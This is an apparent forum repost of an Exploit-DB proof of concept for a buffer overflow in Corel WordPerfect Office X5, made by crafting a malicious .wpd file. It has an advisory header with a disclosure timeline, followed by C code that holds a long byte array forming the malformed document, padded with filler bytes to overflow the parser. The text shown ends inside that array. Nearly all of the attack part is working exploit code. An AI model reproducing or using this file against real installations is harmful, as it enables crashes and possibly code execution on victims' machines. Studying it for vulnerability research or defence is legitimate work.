Exploit Corel WordPerfect Office X5 15.0.0.357 - 'wpd' Buffer Overflow (PoC)

Exploiter

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
14344
Проверка EDB
  1. Пройдено
Автор
LIQUIDWORM
Тип уязвимости
DOS
Платформа
WINDOWS
CVE
N/A
Дата публикации
2010-07-12
C: 
/*


 - Title: Corel WordPerfect Office X5 15.0.0.357 (wpd) Remote Buffer Preoccupation PoC




 - Vendor: Corel Corporation

 - Product Web Page: http://www.corel.com

 - Version Tested: 15.0.0.357 (Standard Edition)

 - Summary: Corel® WordPerfect® Office X5  Standard Edition is the essential
 office suite for word processing, spreadsheets, presentations and email.
 Chosen over Microsoft® Office by millions of longtime users, it integrates
 the latest productivity software with the best of the Web. Work faster and
 collaborate more efficiently with all-new Web services, new Microsoft® Office
 SharePoint® support, more PDF tools and even better compatibility with Microsoft
 Office. It's everything you expect in an office suitefor less.

 - Desc: Corel WordPerfect is prone to a remote buffer overflow vulnerability because
 the application fails to perform adequate boundary checks on user supplied input with
 .WPD (WordPerfect Document) file. Attackers may exploit this issue to execute arbitrary
 code in the context of the application. Failed attacks will cause denial-of-service
 conditions.

 - Tested On: Microsoft Windows XP Professional SP3 (English)


 - Vulnerability Discovered By: Gjoko 'LiquidWorm' Krstic

 - liquidworm gmail com

 - Zero Science Lab - http://www.zeroscience.mk

 - 09.07.2010


 - Vendor status:

 [09.07.2010] Vulnerability discovered.
 [09.07.2010] Initial contact with the vendor.
 [12.07.2010] No reply from vendor.
 [12.07.2010] Public advisory released.


 - Zero Science Lab Advisory ID: ZSL-2010-4945
 
 - Advisory: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4945.php



 - PoC:



*/


#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
 
#define OCCUPANT "Perfect.wpd"
 
FILE *corel;

char payload[] = {

	0xFF, 0x57, 0x50, 0x43, 0xA5, 0x06, 0x00, 0x00, 0x01, 0x0A, 0x02, 0x01, 0x00, 0x00, 0x00, 0x02, 
	0x05, 0x00, 0x00, 0x00, 0x12, 0x07, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0xE6, 0x64, 0x81, 0xA9, 
	0x63, 0xAA, 0x00, 0xE6, 0x82, 0xAD, 0x38, 0x49, 0x9F, 0xC6, 0x5B, 0x03, 0x23, 0x6B, 0x12, 0xE6, 
	0x8F, 0xFA, 0x3C, 0xDA, 0x1F, 0xB0, 0x79, 0x47, 0xEE, 0x86, 0xE2, 0x12, 0x37, 0x36, 0xB8, 0xAA, 
	0x20, 0x2E, 0xCF, 0x14, 0xBE, 0x54, 0x3E, 0xF8, 0x21, 0xB7, 0x4A, 0x27, 0xBC, 0x72, 0x27, 0xE8, 
	0x7D, 0x0E, 0x13, 0xC3, 0x16, 0x43, 0xC6, 0x9D, 0xBA, 0xCD, 0xF7, 0x44, 0xF3, 0x06, 0x5D, 0x47, 
	0x75, 0xA3, 0x86, 0x79, 0xBD, 0x10, 0x0E, 0x80, 0x7A, 0x7E, 0x0F, 0xDD, 0x3F, 0x93, 0xF8, 0x73, 
	0x84, 0x8C, 0x8B, 0xC1, 0xFA, 0x1D, 0xEC, 0x78, 0x76, 0x38, 0xF3, 0x63, 0x33, 0xCF, 0xEC, 0xAF, 
	0x44, 0xE3, 0x84, 0xD4, 0x3D, 0x89, 0xC7, 0x94, 0xD8, 0x2C, 0x55, 0x35, 0xDE, 0x72, 0x78, 0x73, 
	0x6A, 0x7D, 0xE6, 0x99, 0xB6, 0x6B, 0x77, 0xB6, 0x82, 0x09, 0x55, 0xE7, 0x32, 0x3A, 0x26, 0x24, 
	0x27, 0x1C, 0x0E, 0x5A, 0x63, 0xC1, 0x81, 0x00, 0xBA, 0xEE, 0xD6, 0x67, 0x1D, 0xD1, 0xBF, 0x4E, 
	0x42, 0x63, 0x9D, 0x4E, 0x67, 0x51, 0x96, 0x8D, 0xF9, 0x9F, 0x1D, 0xC7, 0x30, 0x85, 0x80, 0xCB, 
	0x94, 0xF7, 0xA7, 0x6F, 0x4C, 0xCF, 0x6A, 0x8F, 0x20, 0x14, 0x66, 0xD1, 0x9B, 0x76, 0x7A, 0x04, 
	0x8D, 0xC3, 0x4C, 0x11, 0xC5, 0x48, 0x98, 0x8F, 0x64, 0xA5, 0x13, 0x9F, 0xD2, 0x7D, 0x80, 0x31, 
	0xA3, 0xC6, 0x51, 0x89, 0x03, 0x3E, 0xC9, 0xB2, 0x67, 0x2E, 0x19, 0xB7, 0x28, 0x23, 0xB8, 0x92, 
	0xF4, 0xA2, 0x90, 0x6D, 0x6B, 0xE3, 0x9C, 0x7F, 0xC8, 0x42, 0x1A, 0x14, 0x0F, 0x3C, 0x40, 0xD9, 
	0x79, 0x73, 0xA0, 0x65, 0xDD, 0x83, 0x1D, 0x22, 0x42, 0x8D, 0xC1, 0x35, 0x9F, 0xA9, 0x32, 0x50, 
	0xD4, 0x1F, 0xBA, 0xB5, 0x7B, 0xF6, 0x43, 0x22, 0x7C, 0x7C, 0x32, 0xFF, 0x8E, 0xB7, 0xDD, 0xC3, 
	0x9A, 0xE1, 0x0E, 0x9E, 0xF1, 0x48, 0xEA, 0xE2, 0xA2, 0xFD, 0xE8, 0x79, 0x87, 0x7A, 0x74, 0x3C, 
	0x65, 0x76, 0x73, 0x10, 0x18, 0x9D, 0xC9, 0x96, 0x10, 0x9B, 0xEA, 0x6F, 0x16, 0x5A, 0xF6, 0x23, 
	0xFB, 0xEB, 0xDA, 0x42, 0x0D, 0x33, 0x5A, 0xD7, 0x57, 0xEF, 0x7F, 0xAE, 0x95, 0xCC, 0xEF, 0x65, 
	0x19, 0x8E, 0xB9, 0x3D, 0xBF, 0x55, 0xC2, 0x32, 0x72, 0x2B, 0x8C, 0xDD, 0x2D, 0x3D, 0x32, 0x53, 
	0x24, 0x18, 0x3E, 0x02, 0xDE, 0xC4, 0xB9, 0xC0, 0xDA, 0x05, 0x9A, 0xD3, 0x5F, 0x80, 0xF2, 0xB6, 
	0xCD, 0x1C, 0x91, 0x71, 0xF0, 0xC9, 0x61, 0x7D, 0x72, 0x82, 0x99, 0x81, 0xA6, 0x41, 0x58, 0x3D, 
	0xC0, 0x11, 0xCF, 0x61, 0x25, 0x5A, 0x54, 0xC9, 0x14, 0x8F, 0x46, 0x16, 0x0C, 0x6B, 0xA9, 0x6D, 
	0xA3, 0x30, 0xA1, 0xA3, 0xAB, 0x7D, 0xA9, 0x0C, 0x46, 0x57, 0xEB, 0x61, 0x7B, 0x7B, 0x5C, 0x45, 
	0xDC, 0xA1, 0x20, 0x75, 0x57, 0x2D, 0xEC, 0xDE, 0xEA, 0x12, 0x68, 0x38, 0x48, 0xC7, 0xC6, 0xC1, 
	0x0D, 0xEF, 0xBA, 0x26, 0x53, 0xF5, 0xB7, 0xF5, 0x7D, 0x2A, 0x60, 0xD5, 0xB7, 0xE2, 0x29, 0x95, 
	0x37, 0x6C, 0xF9, 0xF8, 0x61, 0x62, 0x02, 0x98, 0xDD, 0xDE, 0x42, 0x31, 0x28, 0xE6, 0xFD, 0xBE, 
	0xB7, 0xCC, 0x9F, 0x47, 0xFF, 0x7C, 0x78, 0xA3, 0x12, 0x85, 0x35, 0x3C, 0xE3, 0xC0, 0xD5, 0x68, 
	0x68, 0x69, 0xDB, 0xF4, 0xC2, 0xF7, 0x7E, 0xD7, 0xA6, 0x76, 0xA2, 0x85, 0x04, 0x5A, 0x6C, 0x14, 
	0xB4, 0x68, 0x49, 0xD0, 0xE9, 0x76, 0x76, 0x27, 0x54, 0x20, 0xEC, 0xCD, 0x3A, 0x55, 0x4E, 0x7F, 
	0x02, 0x00, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x23, 
	0x01, 0x00, 0x00, 0x00, 0xC9, 0x02, 0x00, 0x00, 0xA8, 0x02, 0x00, 0x00, 0x00, 0x55, 0x01, 0x00, 
	0x00, 0x00, 0x4E, 0x00, 0x00, 0x00, 0x71, 0x05, 0x00, 0x00, 0x09, 0x25, 0x01, 0x00, 0x00, 0x00, 
	0x06, 0x00, 0x00, 0x00, 0xBF, 0x05, 0x00, 0x00, 0x0B, 0x30, 0x02, 0x00, 0x00, 0x00, 0x3A, 0x00, 
	0x00, 0x00, 0xC5, 0x05, 0x00, 0x00, 0x08, 0xE0, 0x01, 0x00, 0x00, 0x00, 0x5A, 0x00, 0x00, 0x00, 
	0xFF, 0x05, 0x00, 0x00, 0x08, 0x5E, 0x01, 0x00, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x00, 0x59, 0x06, 
	0x00, 0x00, 0x08, 0x77, 0x01, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x65, 0x06, 0x00, 0x00, 
	0x08, 0x34, 0x01, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00, 0x69, 0x06, 0x00, 0x00, 0x08, 0x02, 
	0x01, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x00, 0x00, 0x7D, 0x06, 0x00, 0x00, 0x08, 0x10, 0x01, 0x00, 
	0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x8C, 0x06, 0x00, 0x00, 0x09, 0x41, 0x41, 0x41, 0x41, 0x41, 
	0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 
	0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 
	0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 
	0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 
	0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 
	0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 
	0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 
	0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 
	0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 
	0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 
	0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 
	0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 
	0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 
	0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 
	0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 
	0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 
	0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 
	0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 
	0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 
	0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 
	0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 
	0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 
	0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 
	0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 
	0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 
	0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 
	0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 
	0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 
	0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 
	0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 
	0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 
	0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 
	0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 
	0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 
	0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 
	0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 
	0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 
	0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 
	0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 
	0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 
	0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 
	0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 
	0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 
	0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 
	0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 
	0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 
	0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 
	0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 
	0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 
	0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 
	0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 
	0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 
	0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 
	0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 
	0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 
	0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 
	0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 
	0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 
	0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 
	0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 
	0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 
	0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 
	0x41, 0x41, 0x41, 0x6D, 0x01, 0x00, 0x00, 0x00, 0x17, 0x00, 0x00, 0x00, 0x8E, 0x06, 0x00, 0x00, 
	0x00, 0x98, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x0A, 0x00, 0x0A, 0x00, 0x0A, 0x00, 0x0A, 
	0x00, 0x0A, 0x00, 0x0A, 0x00, 0x0A, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x26, 0x00, 0xD6, 0x1E, 0x64, 0x0E, 0x39, 
	0x08, 0x00, 0x00, 0xCC, 0x09, 0x00, 0x0A, 0x00, 0x5A, 0x00, 0x1B, 0x01, 0x00, 0x8B, 0x14, 0x36, 
	0x00, 0x54, 0x00, 0x69, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x73, 0x00, 0x20, 0x00, 0x4E, 0x00, 0x65, 
	0x00, 0x77, 0x00, 0x20, 0x00, 0x52, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x20, 
	0x00, 0x52, 0x00, 0x65, 0x00, 0x67, 0x00, 0x75, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x72, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x02, 0x00, 0x58, 0x02, 0x01, 0x00, 0x00, 
	0x00, 0x04, 0x00, 0x28, 0x00, 0x00, 0x00, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x12, 0xFC, 0x9C, 0x24, 0x00, 0xA1, 0x00, 0x00, 
	0x00, 0xA1, 0x00, 0x00, 0x00, 0xD4, 0x1C, 0x12, 0x00, 0x00, 0x02, 0x00, 0x55, 0x53, 0x55, 0x53, 
	0x2E, 0x00, 0x2C, 0x00, 0x12, 0x00, 0xD4, 0x38, 0x00, 0x00, 0x00, 0x0E, 0x00, 0x00, 0x00, 0x08, 
	0x00, 0x00, 0x00, 0x44, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x75, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x6E, 
	0x00, 0x74, 0x00, 0x4D, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x61, 0x00, 0x67, 0x00, 0x65, 0x00, 0x6D, 
	0x00, 0x65, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x3A, 0x00, 0x3A, 0x00, 0x4D, 0x00, 0x6F, 0x00, 0x64, 
	0x00, 0x69, 0x00, 0x66, 0x00, 0x69, 0x00, 0x65, 0x00, 0x64, 0x00, 0x42, 0x00, 0x6F, 0x00, 0x6F, 
	0x00, 0x6C, 0x00, 0x65, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x54, 0x00, 0x52, 0x00, 0x55, 0x00, 0x45, 
	0x00, 0xF7, 0xB0, 0xE8, 0x3C, 0x65, 0x01, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0xAE, 0x00, 0xE9, 0x3C, 0x00, 0x00, 0x00, 0x00, 0xEA, 0x3A, 0x69, 0x10, 0xA2, 0xD7, 0x08, 
